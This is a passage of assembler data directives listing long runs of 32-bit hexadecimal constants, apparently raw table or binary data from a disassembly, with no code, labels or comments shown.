840175E3h, 53F9BDEDh, 9C49D203h, 97BB8674h, 415ABB5h dd 2D5B4369h, 0C5D672CFh, 1ADC375Eh, 5F937248h, 0F3036EABh dd 75607616h, 75F91CB2h, 81F29316h, 0AC2DEA3Ch, 3D23906Ch dd 0AEDB8775h, 3B3D324Eh, 4DD8F700h, 0B4C040D4h, 49F8C56Eh dd 8D2C320Dh, 5DD82FE2h, 147391EFh, 0F6367273h, 9746673h dd 792765DDh, 4652C791h, 45D3DD1Ch, 7DD636E1h, 544D7BACh dd 49652E45h, 15EBB0Eh, 5510B3CEh, 8071A641h, 2A902571h dd 0CBA1070h, 0D765B818h, 0B9522189h, 3226196Ah, 0CAA316FFh dd 4ADE97Ch, 0C2CBDB70h, 72954E97h, 2D1DD21h, 43E69DDh dd 14ED2934h, 103EB9E4h, 7C1F81EDh, 0F8F929E6h, 2AA6FAE2h dd 0B0053BD5h, 6C938C68h, 9C50F36h, 83C99648h, 6C25ECDAh dd 0C2B4F656h, 2CCEA577h, 7F966EAFh, 93528A92h, 41D55643h dd 2AA1B9BFh, 72C0948Dh, 0F7EE392Bh, 7BB7E15h, 5723FDCEh dd 3DA5EF12h, 4A989FABh, 204D0195h, 40A74A31h, 70239D9h dd 3E200314h, 6503F627h, 3F9E0B32h, 3188F92Ah, 0FBD79665h dd 0E04D9F3h, 0E7236743h dd 169BC128h, 9C50D173h, 2A6F422Dh, 0A471FDEDh, 1628EF0Dh dd 0F1C7B2AFh, 5C5216C1h, 0EEB64CA7h, 0A572D661h, 58D16055h dd 9BDBCF2Bh, 0BCC44FB9h, 32E0F6EEh, 61A82FFEh, 5F0F2432h dd 0A172B0A0h, 753374C1h, 0FE856DACh, 95D4D3CAh, 0E160174Ch dd 1117FBF2h, 0F96DF933h, 0A516008Dh, 255270B0h, 0B62DA0ADh dd 768FEFAh, 5EC1478Eh, 14B36EB4h, 3327F891h, 901E7571h dd 4040B031h, 5632B3B3h, 0F7B4AE9Fh, 0C2860CADh, 5877356Dh dd 1BBBFA7Ch, 571A4834h, 38FEE444h, 8D77F371h, 7822EE92h dd 622CEF44h, 0B9E3DC7Bh, 4E3FCB4h, 0EC019BE5h, 1B36DFAFh dd 95C3AD82h, 20FAB6D3h, 9F221DF1h, 97E99FE2h, 0F5903AD1h dd 539F290Ch, 22C3703Eh, 0DAD3FCC3h, 0E0783860h, 21548D9Fh dd 7CCC75F5h, 0AC232953h, 0D04F14EEh, 0C875CE59h, 0BE8315CCh dd 0DF0F96Dh, 8824A49Ah, 2AC281CAh, 46C714CAh, 493A4291h dd 0E046499Bh, 0EF8409C6h, 0D669EFDCh, 7505C816h, 0E6FDBC22h dd 0F13940C6h, 94804E3h, 74807B5Dh, 205899D9h, 0B4292B44h dd 2A68A5F5h, 0A2578CD9h, 0DD045AD0h, 59958C40h, 6B9AF610h dd 0EB7B5D4h, 44DE7F3Eh, 5F2733C8h, 0C3863A33h, 0CC066ECEh dd 358DEE76h, 0CD9FEE1Ah, 794807C1h, 4477F2Fh, 0A6F0078Ch dd 8B857D32h, 624E714Fh, 5217D49Eh, 0DDDD605Eh, 6842794h dd 509365F9h, 0B54315F9h, 1C13EEDh, 7C1BFE65h, 358A0BE3h dd 25021CB5h, 86B91A0Eh, 0DCE76A64h, 5DC938B8h, 64EA25FFh dd 8EA8A696h, 99451023h, 0DA96B617h, 8B8F73E8h, 5F8FE826h dd 391EC2ACh, 0D20329A7h, 0BD927E19h, 9D077A94h, 88EADE5Fh dd 93E1FC4Bh, 0AD018F94h, 7077CBA8h, 0F883FE6Dh, 0BFF555ABh dd 0E214877h, 3B714DE0h, 0EA2F62CFh, 743D75EBh, 0D35F5FE9h dd 0ABE9B417h, 9795EA4Dh, 0F0D8AF7Bh, 0B3628270h, 0BFCC670Ah dd 534E2CEh, 0EDBEFEE3h, 7B50C6BEh, 932E79Ch, 32E7C7B4h dd 0A64E5D51h, 9C00CC1Ch, 2F77126h, 0E8DDE728h, 965030FEh dd 821E46D2h, 72859B90h, 68C9F9B3h, 339BCBD7h, 67AA7844h dd 7DAD8E3Fh, 4E563E19h, 6FA460D9h, 450C4487h, 3B80BE09h dd 9B13F3CCh, 0C65F3A7h, 665226BAh, 0F9AADF92h, 0D8385521h dd 0B3F84F59h, 0D8257549h, 0E20C2581h, 0F8E48D3Dh, 0D052D438h dd 0EDC8A378h, 7FCD14B4h, 9D73022h, 2371B4BDh, 309ECF53h dd 71C03BCBh, 0DA430B8Bh, 1E0FE8Dh, 0EC118CDBh, 4931854Ch dd 1F6B80FAh, 84B195FAh, 0FDA8B594h, 97B08C1Ch, 0DC69ADE5h dd 95B29090h, 0E017D0B1h, 977DECFDh, 7E6FFFA5h, 0FA2C4A72h dd 0DD325660h, 6815F93Ah, 8A7FBC3Dh, 611A9615h, 0AA05AC84h dd 44E58A5Ch, 5F62D1D1h, 582D3741h, 0D29DD066h, 8721257Ah dd 20A7D530h, 18E23C21h, 94BC2C0h, 0F4F9D33Ah, 780D4553h dd 0CA44D464h, 25101B2Ch, 331E48E1h, 35C01724h, 12A1E95Fh dd 9123F943h, 68CA437Bh, 564CD5C1h, 84BFC9B4h, 0B6BFEF16h dd 6D714CCBh, 0FDC8CB08h, 0AEFB2E1Ch, 40104598h, 4DA572A0h dd 0A980BC4Ch, 0EECA913Ch, 3D6577E6h, 0F52EC57Ah, 86822842h dd 99F6CEBEh, 0AE09FCEAh, 2BF2D4AFh, 0BD76A9C8h, 8DC0636Eh dd 0EF714A3h, 0DEDFE0FAh, 0AB27371Ch, 0E39DCB93h, 13CAB31h dd 9A82D78Ch, 7D9C1481h, 492C29B0h, 102917FDh, 0BAC5DDC2h dd 0C2EB7FDBh, 0A34E502Dh, 59A16F02h, 0D9A2310Fh, 21019D20h dd 2A402816h, 0AD77C062h, 5F554098h, 3F557250h, 0DFD5998h dd 75567408h, 7C81974Ah, 0B42FA71Eh, 0C4C9BCE9h, 670B69CEh dd 1194CEEAh, 0FE5BEE82h, 981EA4h, 0BCA5C76Eh, 70CCFD85h dd 8D1164FCh, 51C3DA97h, 72F37546h, 0CB572338h, 0CFE986D8h dd 0FC49A122h, 701AC25Fh, 42187D25h, 0C37D2F48h, 0B8855C23h dd 4B263E9h, 0C31FBC9Ch, 8AB1F87Fh, 0C1E0E190h, 0EE8CE560h dd 2141756Fh, 0DDC9A377h, 0B617C890h, 79CC4B83h, 0A6F3D670h dd 8CEFD76Bh, 75B61FD4h, 481FA420h, 0CAFA34A5h, 4D8C1F8Fh dd 7EFE6492h, 0C2DC18E9h, 0C726120Eh, 0DFDB3A59h, 0F24F616Eh dd 0C72775A0h, 5C894A3Dh, 30C0CD9Ah, 0B8D9BD1h, 2E290436h dd 0C4B0E0A9h, 9CB34B67h, 0E5543B43h, 7974B66h, 2486762h dd 0E2ABD775h, 0F0441AC5h, 0D0B5F2BFh, 95C859C3h, 633F460Bh dd 4FFCDF14h, 0E86D0193h, 3F0DF10Ah, 0BC8BF80Bh, 0B397B639h dd 5A79155Dh, 420F91D3h, 89F8100Fh, 0F5A5BB15h, 0F02D01B6h dd 6DABB263h, 0EA3A1F06h, 58D67619h, 4EA8C237h, 7FF0C581h dd 0E1A69C9Ah, 56B4A905h, 2EE18DB4h, 5A8E7532h, 0FC196ED6h dd 9626512Dh, 0BB95A1A9h, 0D268405Eh, 59C98656h, 0DC7F2B9Fh dd 0C85C5658h, 9B76CCBBh, 38540165h, 7805FA6Fh, 0AE936E9Dh dd 5AD61A8Bh, 0FF3090C6h, 53836E52h, 27FC6E91h, 4E70A1E2h dd 0FB42FDC4h, 5EE6F325h, 1B42B304h, 987AB390h, 0E92EECBBh dd 5CF1DE20h, 96F909E3h, 0C7E2855Ch, 8C21CBB8h, 6BD4BD07h dd 5586F835h, 0B7848049h, 0D631141Ch, 181D096h, 9F877360h dd 0FE3CB23Fh, 66ABF05Ch, 986D6327h, 3409801Bh, 338170CAh dd 0FEE931Ch, 7F843E24h, 0F82C27CCh, 0DE5C88EAh, 80722B3Dh dd 72452A1Ch, 6667BC70h, 62A4020Eh, 0FCFFDC88h, 6C4838A5h dd 0FE6EBF53h, 0FE972EDDh, 0CD389BD5h, 925895B9h, 5C4E0878h dd 7D641700h, 0D4960BDBh, 83248446h, 97179AC5h, 4F285A62h dd 58BD7C87h, 0A0BAE984h, 0CEC1ADEDh, 0B960F454h, 9A130B30h dd 6FCE4BFAh, 7625BA81h, 0F95587BFh, 8299FD57h, 3FC1FC65h dd 0C78A30Bh, 0A018FECCh, 2D8657CFh, 0BD0D31B0h, 0DAAC7F7Eh dd 13100735h, 747926D0h, 4056F131h, 24CF4D2Ch, 615242C8h dd 84ECD51Ah, 7724E3D5h, 0E7907B83h, 5BC579BCh, 0E5DF6D39h dd 7C353A0Fh, 38166F44h, 0EEF06EE8h, 0A1B1A7FEh, 0D5676B6Ch dd 1CA7A6CCh, 97B3D4F5h, 0E9E8A64Ah, 7FF363Ah, 0C0F26AC5h dd 644154Dh, 89FFD101h, 0C4B6356Fh, 79917A8h, 0F4180692h dd 0CE21589Bh, 0A9537A7h, 4B88D025h, 27ACA4A6h, 0A5D4E55Dh dd 96683A32h, 0BA14018h, 5664E93h, 39B66824h, 0AA89AA7Bh dd 8052717Ch, 83011A95h, 0E7D14D23h, 66ADAB93h, 835ED5F1h dd 0F76C83Bh, 3FB85402h, 793BF12Dh, 97514D42h, 9F0C8D0Bh dd 5BB6CD54h, 0CDD6CEBBh, 639F7DF6h, 51B3CF9Ch, 1F750BE0h dd 82DB173Ah, 0A47C6544h, 0E3C5F714h, 0B5C34409h, 73B2A345h dd 6D1978B9h, 6F3DEE5Bh, 55F6A8E7h, 0E0875D20h, 8E717070h dd 12570E72h, 0F7F3E2B4h, 56E34882h, 0BB1E3ACCh, 6EF6928Ah dd 0A3D6E501h, 2279F8F8h, 0CA2D80DEh, 5188424Fh, 0FB3B2B80h dd 8377CB26h, 853E24C4h, 0F3B62B5Dh, 0E4431425h, 25471CA8h dd 1F4988E6h, 0A7C32514h, 0DC094F70h, 2F777508h, 0F817DE01h dd 5B74369Bh, 0C0AFD9ABh, 7E826D1Bh, 0AB7F6FFh, 0F4037114h dd 79E41EB8h, 36A26D53h, 2F9BE73Dh, 0DFBFB452h, 68916258h dd 0D58B5D06h, 4D4F024Bh, 3D711EA5h, 0A4D7425Dh, 0AC06FA09h dd 0EB600A89h, 4079AF64h, 2BA47D19h, 0AFC77CC2h, 9D71A6F7h dd 493632C6h, 0DBD346D2h, 0AE7BD729h, 33CAB975h, 19004D5h dd 32FBA69Fh, 507F2D16h, 0A78F1A29h, 0C1544B4Ah, 0B3398FEAh dd 34B25FC4h, 0B4331611h, 4770CD94h, 945AAB5Bh, 886BAC8Eh dd 8457CE93h, 36E39FF2h, 0FF890DADh, 1D10451Ah, 0C7C7ED68h dd 783E5DDBh, 3D7BFE9Ah, 4FD934FCh, 58B9AE22h, 294DD885h dd 8A7A7F56h, 11C901Fh dd 19257ABEh, 277BC66Ch, 0C882FD3Fh, 0ABF6A0D5h, 5B75F18Fh dd 699F9253h, 9A698F1Fh, 0B922D229h, 3B555590h, 3AAD8348h dd 0ECC4C755h, 10AAC12h, 0E82EE92Dh, 7C676404h, 0B269A534h dd 575E282Fh, 3765D219h, 0B33CA47Ah, 86719B5Bh, 0D9D3F231h dd 0E9AA2056h, 103F0B2h, 0AE381859h, 0F2CCA9B1h, 8564BBB8h dd 8F0B5156h, 0CB489BD0h, 3C57E95Ch, 0E1ED829Ah, 0B289ED6Eh dd 321ECAB6h, 8F6DDACEh, 0A7542753h, 932EA240h, 0B412D39Dh dd 61613FFBh, 85B47566h, 0EAEF5BDCh, 0DC3AEC92h, 0EB2975F4h dd 13376F00h, 1E288D38h, 24653C22h, 0F1E21380h, 84FE283Ah dd 0DAA252B9h, 99CCA856h, 0BE35DDEAh, 0F9273BE6h, 6F5EB0E2h dd 0FB7B60D5h, 9DC6A199h, 8CE76A8Eh, 0A247B71h, 505B38BFh dd 55F44E15h, 30974A0Eh, 0CB5B0227h, 65C15E34h, 2874ABD6h dd 49C94BEh, 49268656h, 6D2D77D6h, 0AB229702h, 0A967447Bh dd 77479F9Bh, 0DD5C0277h, 2782F8B6h, 0E2C95453h, 4BF9B01Ch dd 2AA30271h, 91735C85h, 0CBE951B4h, 6D007A92h, 8B3CA5BEh dd 1C816603h, 6A963A22h, 97C4F816h, 25187ABCh, 7560BDEEh dd 849A2274h, 183DE7E8h, 7FF24844h, 0A4394BECh, 0B694E6ADh dd 87B15E6Bh, 0ECD4E33Dh, 0E0616C54h, 7EC9466Dh, 0C2CD1DAh dd 0ACFFBA6Eh, 0D9A8BE7Ah, 0B317B1D9h, 7F6A23CBh, 3A7B0A88h dd 0F9C3457Eh, 0FAC7667Eh, 69F70E13h, 59E07B98h, 8C04F900h dd 0DF22878Bh, 0B36A1E07h, 1D31E2D5h, 3FA7554Ch, 21722AFh dd 0A830727Bh, 98A5B5C7h, 0E95ADFBh, 46CE868h, 1CBF2321h dd 94491FC8h, 0A663E213h, 454C7E20h, 0DB258E37h, 0F8C2FCADh dd 87756D42h, 2E9FBB0Ah, 4F540ABAh, 8F61BCCDh, 0AF8C97B1h dd 8C8AE7BBh, 3F89A3B5h, 0BB01027Fh, 42F51D4Bh, 42F61F76h dd 960FF598h, 0FC203057h, 9823A86Eh, 1CE5DEC0h, 3395D7DAh dd 84C4D3F6h, 0E9370E2Ah, 9489AB95h, 76080976h, 0CBD6450h dd 0CF2DC778h, 35A89AEDh, 71762359h, 4B188C6Fh, 32DA175Dh dd 0E9AD92A9h, 0C20DE5C5h, 9AB89FE5h, 4F1EE516h, 2836369Ah dd 0B5B7B9F2h, 7156385Bh, 2E8841B8h, 0B0CE8C82h, 7315AD96h dd 30CFBA76h, 38E21145h, 6A71EE31h, 0E768C345h, 3A3DA959h dd 0FC21B7FDh, 8567C6BFh, 7F37CA85h, 0BFCBAAFBh, 620092A7h dd 0BEBA0301h, 75C269CEh, 7745E405h, 8AAAE6CDh, 0F7A7A1B9h dd 0D7EBBC1Ch, 26D932B5h, 199FB15Eh, 5FB47915h, 3FA641B9h dd 18449BBCh, 0F83D82A5h, 0C6C80FB4h, 14553993h, 7BE86E0h dd 0BD356A4Ch, 0CA46338h, 42C689A1h, 0E488FDC6h, 0DDD5258Ah dd 33F64FFCh, 0E6B90456h, 2005FF6h, 717C8888h, 7875C8A3h dd 0DEFE1A2Bh, 0F876ACD7h, 0CE4140A9h, 0B9B434DAh, 5B9C9881h dd 0A688C90Ah, 0D9DACF6h, 9900D5DCh, 176B7160h, 19FD8079h dd 0A6A2687Dh, 29274E82h, 0AE65BCD7h, 0EECF5A6Ch, 71C31F76h dd 3F1EEE2Bh, 0CD09262Eh, 4E0B4CCDh, 772B613Ah, 0F83FD959h dd 0CD249418h, 4568ECD3h, 0E7539168h, 0BA087441h, 0C82BDEC3h dd 0D0100774h, 8CA39D97h, 53747C79h, 0A0664629h, 488F826h dd 236C8864h, 7902B361h, 0FF65CD2Ch, 65953876h, 0EC4DCFB9h dd 0A7815F51h, 0E0607D54h, 6F3422Ch, 8AE613F1h, 5568EE53h dd 127D16D4h, 62B9C3Ah, 0B4996C6Bh, 0F95A04A5h, 7BE009D9h dd 71DAAACh, 0F515BE8h, 0BB23597Ch, 1BE15EB4h, 29D3940h dd 831140FAh, 64D1BFB5h, 5BA3843Dh, 96F09C5h, 4AADDFBCh dd 0C4F72A2Ah, 0ABE848F3h, 0D06ACFB4h, 8738CDD8h, 7BA33BAFh dd 5BC5F89Fh, 49490ADAh, 0F0E0BCEBh, 92BE8A52h, 0C2755C3Ch dd 11F7E608h, 2EBC5208h, 34A08B2Fh, 6831F153h, 917271A2h dd 0A74AD33Fh, 0A0CB0CFAh, 2DC34A6Fh, 0D685F5CEh, 826C0E8h dd 0CF719BDEh, 951FCE00h, 714FC69Fh, 5E88382h, 0D9DE4435h dd 0B32B222Ch, 427B73DEh, 0E190837Bh, 0A7FFC9E2h, 9A14CE77h dd 9C03A7B2h, 2E950484h, 5B00CEF4h, 6AED1985h, 6F0B9B0Ah dd 0B9A7C5ACh, 0D5581157h, 112D5F08h, 0E087ACB4h, 5D4D82B2h dd 6DE01F18h, 0E15F9E3Ah, 7F7F4A00h, 42D5A104h, 0D75A301Ah dd 54AC9BEAh, 1CD5F346h, 0D9C92FC0h, 64B466B8h, 2F6BE24Dh dd 109AC8CBh, 5BFD1AE0h, 38A1C7C8h, 246D0222h, 0D30514CBh dd 0E0A44C83h, 51F58361h, 0FB0AB469h, 6767F135h, 0D570E0F0h dd 3F4E4847h, 402D5806h, 0CCC25E4Ah, 73CC1FFFh, 7F41046Eh dd 0A6237FB4h, 0B5A491F1h, 0E16EF8ADh, 0EA8D1479h, 0E265D1Fh dd 0E7213CCAh, 0FB646BA7h, 90194682h, 64F63570h, 6027ECCAh dd 422CC5DEh, 7AAFEB8Dh, 53793705h, 0D1512E57h, 0D4304219h dd 596419DAh, 40BBAFABh, 0BFB8FF5h, 815FBF9Ch, 0C512C71Fh dd 0AE3D699Fh, 45D71AEEh, 0D0F089C5h, 3A3CDF29h, 6A840CEh dd 0C5A885D7h, 0E14EF828h, 5D9C773Fh, 0B4A6EF41h, 6E32B105h dd 0F799947Dh, 79D9B5EEh, 7B2FBF6Ah, 1DF36A0Ch, 7A36D951h dd 15223EB6h, 24B7E0F6h, 0FC2DE9DEh, 0CB463FE8h, 45C0390h dd 0A30A6113h, 0A617B427h, 23971215h, 847F1EB6h, 85CC6CF7h dd 23B8C7CDh, 0F8A8AE1Dh, 55803500h, 2690C25Dh, 88106D7h dd 0D53EACDCh, 0E6827B9Ah, 56B43AC2h, 956483h, 7B65224Fh dd 650CF94h, 6618C4Bh, 15D31430h, 0EF8FAA60h, 0BC49EEC0h dd 90F0DC9Eh, 0B93FE194h, 349BB5F5h, 2214AC6Ch, 7B92A9EBh dd 0FFBCB395h, 0B68561F7h, 421F9E90h, 9C3650D8h, 469585F1h dd 7FB287F7h, 0FC693217h, 31077DC5h, 0EA60BDD2h, 8002683Bh dd 249BA667h, 0E2E3B8C6h, 1F9B5191h, 6135A750h, 184106BBh dd 0CE5C26D8h, 0EC5D1F24h, 6508516Bh, 46F6D80Ah, 0DCDECAEBh dd 6AC50A1Bh, 8B8454F3h, 0F52DDD30h, 69E8CDD2h, 86F102B5h dd 0CA9AA013h, 3D2C50D9h, 5E140FBEh, 0BA042A8Dh, 283E87A2h dd 0B8ECDAFEh, 0E9F7AF34h, 0A01AC66Eh, 7F13B0F9h, 5999261Ah dd 5BBBDB4Ah, 0D28FC97Bh, 190ED730h, 4901C6E6h, 0D5F318B9h dd 795CD0B0h, 0E44EEC4Ch, 0E83C2A1Ch, 0E53C7652h, 20A20A5Bh dd 54198F0Ah, 4BDE0448h, 0D9A5C4CDh, 0E5CE7D30h, 5DCB0842h dd 8958A551h, 88491296h, 0D4A3352Ch, 9CED0C98h, 42926021h dd 5D9CE995h, 96F0D5CCh, 0E4C3A143h, 0D42C464Ah, 2F637CD3h dd 5032DA93h, 0C7F654C5h, 0F46C4D42h, 8C5AB3E4h, 0C830130Fh dd 368933CDh, 898FDBA0h, 3C34C4F2h, 6707D49Ch, 438E7528h dd 55B86C93h, 1A3C8354h, 43B400B4h, 4ABE001Ch, 0CC4F1794h dd 81564E74h, 4BA3319Ch, 49909768h, 52A1BAC8h, 3818897Ah dd 17BA6895h, 0F61410C4h, 45957654h, 5A14A854h, 0F493DDh dd 0D063D975h, 4C60BF97h, 9E692CEFh, 82A06AB0h, 62BCF380h dd 3BEB8162h, 0FBCC9051h, 2C60C3E9h, 6A8BD5BEh, 0DD7FCA37h dd 1E24045Fh, 7020B767h, 3086A2F8h, 0FA637245h, 0E3CBCC14h dd 0F91640B8h, 82B62E7Ch, 0D52195AAh, 0DC30E209h, 48F2A81Dh dd 0A525C75h, 44232917h, 0AFC78045h, 5DE8ECBDh, 51523900h dd 6EDA140Ch, 58E7DC79h, 0AF6950FFh, 6B21B920h, 6C4D36DDh dd 0ED64996Fh, 4A875CBFh, 77184C48h, 85D3BDDDh, 1681FD06h dd 227AA1C0h, 2151D19Dh, 0CE13D0DFh, 988E5925h, 0C1730B1Bh dd 0EE96C667h, 0C70CBCB6h, 2F461022h, 1EAD2777h, 67CB260Bh dd 0F0A4B7AFh, 0F6B47035h, 0F6B06A5Eh, 0BC46D0A1h, 5808C24Ch dd 0FDECBBFDh, 2FFE800h, 598A94D3h, 0DA0325C7h, 66E31F7h dd 80C8E54h, 0FA2B44AEh dd 59CFA249h, 210C105h, 7BFD24FAh, 4F1BFB43h, 0CCF5ABE2h dd 25B8CF4Ah, 88D464C2h, 95212AC9h, 0F851AEC3h, 0F483A508h dd 0EE81A07Ah, 68381923h, 92809CFDh, 12608E95h, 8792EE39h dd 3FEDD01Dh, 0B2DD064h, 16C84445h, 17B29DD0h, 0AEC40654h dd 0FD0AF781h, 967595CCh, 0F2A54F78h, 0B2A50627h, 76A723FCh dd 4534BC65h, 0CE5D9B18h, 4A6BAE30h, 0BB506DFCh, 5F262E69h dd 0CA1ACE76h, 2B5B6EC1h, 0B55C89DFh, 0A2FBA7C8h, 37183F13h dd 0EE380E84h, 67E170DFh, 0DA7E5111h, 158AF098h, 0D8D96E24h dd 0B960E6C0h, 0E326DD2Eh, 0F2310A42h, 0A2F4944h, 0DFE88A65h dd 0B0723D58h, 0AB6F8392h, 0D09AC87h, 0BD6C8DC1h, 928E0DA3h dd 0CF401DC8h, 0D9AD393Ah, 915E3493h, 5D89A877h, 0B6FCC4D0h dd 0F8B25290h, 31A9429Bh, 0BCD47BCFh, 0ED3B949Eh, 26048FDh dd 0F63FE195h, 0C532C4D1h, 0BFD78780h, 420B9BBAh, 0B2FB27B3h dd 49A793B3h, 0FDD7F20Ch, 0A8A83C6Bh, 0A8EB30E3h, 0AE80C3F6h dd 7E730F33h, 567C13C5h, 0A864B11Fh, 600F9DE8h, 8BF8DDF9h dd 6C67E514h, 702571ACh, 8E388115h, 36EB6E3h, 0DB0BF8E0h dd 44957131h, 7650EAF9h, 0CB8FA140h, 19C15019h, 83E9E6C4h dd 0BEFEB8BAh, 5F5AAED7h, 0CCF51C0Bh, 825DDADDh, 0D938ACA3h dd 7725D72h, 5DCA068Ch, 0D02D42B3h, 9DF7E017h, 695896F4h dd 0E5E959C1h, 8EF958CAh, 848D6E2Eh, 93E615B9h, 0B7FC96DDh dd 0D23CF6D6h, 9989BE82h, 34B9417h, 559082DCh, 1E0E73C5h dd 0D48DE820h, 92A38F82h, 802B57F0h, 29A83C5Dh, 0D6515789h dd 9DFED8D7h, 0E937F5Eh, 0FCFC801Bh, 796A8F2Ch, 249586AFh dd 2EE06BE3h, 58F34630h, 0B54ADD43h, 94B113h, 9017659Bh dd 434F75B4h, 0B8AAC19h, 7910430Bh, 8E84B019h, 7810A1A4h dd 5F3B4AF4h, 0BFCE3FC1h, 254481DFh, 7A15DF1Eh, 96DBCAA4h dd 314355DCh, 0F4D4602Dh, 6EB3E633h, 0AAC5DC1h, 0E93923E7h dd 88F9E58Eh, 0F301A19h, 4887E3A8h, 6459D45h, 3DF30BC1h dd 0A265150Ch, 0CCA8192Fh, 232C1110h, 2C8E9969h, 0C6C81294h dd 6C2A2F13h, 9071EF93h, 65CD123Ch, 6207D686h, 6F887782h dd 0E41617EEh, 0F640AF29h, 0DC30F81Fh, 0BCA3FEC6h, 0D8600E36h dd 71222D3Ch, 639B4AE2h, 9B80FBB7h, 0DFBDE2A0h, 25662E39h dd 0FE73A461h, 1B3EFA75h, 26782D34h, 0C2124B68h, 0AEE07111h dd 0F61ADDB4h, 872DC1F2h, 159A96A1h, 51D22A8h, 3D9B46F2h dd 947EC2FDh, 559D2FA9h, 0A58562A1h, 0A4ECE396h, 0FB5FD60Eh dd 0A2DAAFD3h, 7D21D9FAh, 3EFF39F7h, 1FF74FABh, 49882B41h dd 0FC84DAFFh, 8A96A339h, 3C41FC87h, 0E976D9E8h, 0B683AC98h dd 209D387Dh, 0EA7D787Fh, 0E63CA51Eh, 0FDA75D19h, 7927DE41h dd 55A3FF2Eh, 20094E70h, 2A98350Eh, 0E61B19B6h, 0FFC3BEB6h dd 0CD89F57Ah, 7780E216h, 0B22F327h, 0E5ECDD55h, 5FECA4A4h dd 3B02F2D6h, 0C48BE9A8h, 0CFA50C74h, 4EEDBC05h, 14531273h dd 7ABF379Dh, 533AA431h, 0C59AB7D1h, 794DAFB1h, 62E296C9h dd 0AECD42B6h, 3690AD6Bh, 3C71CCCEh, 9FC60101h, 12EA215Ch dd 1658E07Bh, 0BDFFDBA4h, 234C0BFAh, 254AAABCh, 9C1F13DEh dd 654F41B6h, 90CF8CC1h, 0C2C0508Eh, 4FE7E8C9h, 66F0E85Eh dd 6312C06Eh, 0C51C0883h, 5BCC58EFh, 0DDD33036h, 4097009Bh dd 0B04E95Fh, 0DA86A725h, 0E0556041h, 0D75C9D9h, 0D40826D1h dd 5640C97Bh, 73E58D46h, 35FFADE9h, 71458DA7h, 0CE51A504h dd 7B08B03Eh, 93825E96h, 0FD303733h, 7D9DA307h, 144CED2Fh dd 3B6EBD81h, 0AE5C2DB3h, 0C234C720h, 0BA8A6AEFh, 0BC404535h dd 75FC2D4h, 5CD8C318h, 0E8C14F4Ch, 2FF43166h, 75EE8EBFh dd 1E337DA3h, 80DBCF94h, 14975D91h, 0AD953B31h, 2FDF7D66h dd 93F23075h, 0B774D639h, 0D41B6FA9h, 7F2A932Ah, 3F9AD2AEh dd 76C2625Ch, 0CAF0DA2Bh, 8142C647h, 67B10D2Ah, 0BEA88535h dd 762A1F4h, 45B1C4E9h, 0C9832052h, 88FBEE4Fh, 0C6004C02h dd 4A48B7EEh, 9AABE95Bh, 4311F048h, 0AC7B3F25h, 0C271748Dh dd 1126A14Eh, 772646CAh, 66E29183h, 0A287E380h, 2EAC26DDh dd 55F59465h, 16664BBCh, 0AD484EF1h, 60D05876h, 0E790B544h dd 5F46D2D8h, 0DC5C665Bh, 198D2417h, 5D979F4Fh, 9E29C4ADh dd 0DC326AD5h, 0BAEA5B92h, 81045CCAh, 0A4F24BCAh, 9E001C3Bh dd 81C4B3DBh, 0B3C643FAh, 0C56977FAh, 0C81575D9h, 252911D9h dd 54A0996Dh, 0B53E2E15h, 50D2299Fh, 0C12CFF26h, 7711528Fh dd 3726830Bh, 279B8A84h, 0BA5BC4Fh, 33E83689h, 0AEBFD8DFh dd 54266B72h, 3605A436h, 0D9E335F4h, 70F13ECh, 34CFBBCh dd 4D6E13E0h, 25A7D5FBh, 3FC07E15h, 23E5459h, 0FCC6FF13h dd 120094ACh, 77AFFE22h, 1AC0A30h, 0C4C159EAh, 191AF70Fh dd 2C65BF0Ch, 0D353E386h, 18F7CCCAh, 0BFEFA3C2h, 0F0CB8119h dd 0BAF02C74h, 3C81F616h, 4685D3Eh, 33AFDC2Eh, 6BCF2B26h dd 327197CEh, 0F2747054h, 0D05090D9h, 0C7E3F924h, 0D631AE65h dd 50CB29DBh, 4E984CFEh, 9E1D6B0Ah, 36B026CEh, 8FF6F139h dd 913E7B8h, 0DB8B4752h, 6B1FAB56h, 0C01F6F0Dh, 0C432B175h dd 0DE25FCF6h, 0AE0AEB99h, 0A191EA6Ah, 231B9102h, 0D20FAEA5h dd 0E4520B49h, 0AE4E095Dh, 2D54E0D6h, 0CC2AEFA9h, 0C568C0F6h dd 0B6272D8Dh, 6CD6B3F3h, 0A9E35B39h, 413A6FF9h, 1AB8F508h dd 82731109h, 0AAD27BBAh, 0EFCD9B6Bh, 0C047B5AAh, 6700CF39h dd 0DF8F4C39h, 1C13A7F9h, 62D5D1E7h, 457E3A4Bh, 0FC1515BFh dd 523F69BBh, 0A5E16BBDh, 86A1F806h, 3867AC08h, 0DF999FB6h dd 527B0A94h, 9DFA5B0Ah, 0F0A7E4B6h, 0F36A6394h, 9D509561h dd 0E750E6FEh, 969A767Ch, 0FB7F4133h, 0F421AF9h, 0A3E52588h dd 80667244h, 1DD4FEF3h, 0DD520F89h, 91AACEF2h, 19B668F5h dd 9DE3B31Eh, 738AB327h, 0B4899F36h, 672D0A88h, 97425C6Ch dd 0EAA3F4FCh, 57BA8286h, 0C22C62BEh, 7EA7A9A0h, 0A7078593h dd 9C6C4CEDh, 163CEh, 7281D385h, 7101273h, 7AF9A9A9h, 0A55B73D1h dd 655DCD11h, 6C2C74Ch, 0E79A2A5Eh, 0DEFA3290h, 32169476h dd 49311AC4h, 0FA8952E8h, 14F03D38h, 4DA1F1EEh, 1CCBF277h dd 4988F40Eh, 48134658h, 4B072699h, 0D22896E7h, 8B0BDCF2h dd 57FB0376h, 2D998379h, 0F6495C17h, 9A2AC4B3h, 0BDFFF2F8h dd 526F2489h, 0DA728D2Ah, 4596F12Eh, 0AB957C54h, 0B77F2AC9h dd 0B744B2E2h, 0B548D3D7h, 0EBF3634Ch, 17C7C68Bh, 0E12F0CDh dd 64A78E0Ch, 6E72999Ch, 641DDBCAh, 104D5B63h, 0CA57FBAEh dd 0E8D6F33Fh, 198828ABh, 312F2E8h, 0B5503876h, 0C673458h dd 0D20B10E3h, 0C4CA30A4h, 61264595h, 420549DEh, 89C4B178h dd 0A92F99B2h, 266B8ED1h, 0E5E8D977h, 2226BBAFh, 1D28846h dd 0DA39DA94h, 0B4D93187h, 793ECEA1h, 0ED17AB06h, 421798D9h dd 0F639D4E3h, 0EDC05F16h, 50B75C01h, 0D346B743h, 0ED7D710Ah dd 0A7EF04BEh, 3A68C400h, 0D63578Fh, 4F2FC71Ch, 36F0672Ch dd 0B56C2B8Ch, 0FDBBE3BDh, 5772A1C8h, 0FC7940Eh, 4F68DE4Eh dd 3E14650Bh, 36FEE069h, 0B43C082Dh, 